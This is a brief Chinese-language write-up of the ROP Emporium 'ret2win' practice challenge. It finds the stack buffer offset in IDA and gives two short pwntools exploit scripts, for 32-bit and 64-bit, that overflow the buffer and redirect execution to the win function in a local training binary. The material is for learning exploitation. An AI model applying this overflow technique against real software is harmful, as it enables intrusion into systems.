ROP Emporium : https://ropemporium.com/
放到IDA很容易就找到溢出点
char s; // [esp+0h] [ebp-28h]
可以看出s距ebp的偏移量为0x28
所以我们写入0x28正好可以写到ebp之前,要覆盖ebp还需要再写入4个字节(32位)
有一点值得引起注意,我们回车换行符同样会输入进去,明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在之前我们还应该检查一下程序开户了哪些保护,这决定了我们该采取何种rop攻击方式
image.pngexp 如下 :
from pwn import *
sh = process('./ret2win32')
ret2win32 = 0x08048659
payload = 'A' * 0x28 + p32(0) + p32(ret2win32)
sh.sendline(payload)
sh.interactive()
64位的溢出点也一样
exp:
from pwn import *
sh = process('./ret2win')
ret2win = 0x400811
payload = "A" * 0x20 + p64(0) + p64(ret2win)
sh.sendline(payload)
sh.interactive()
网友评论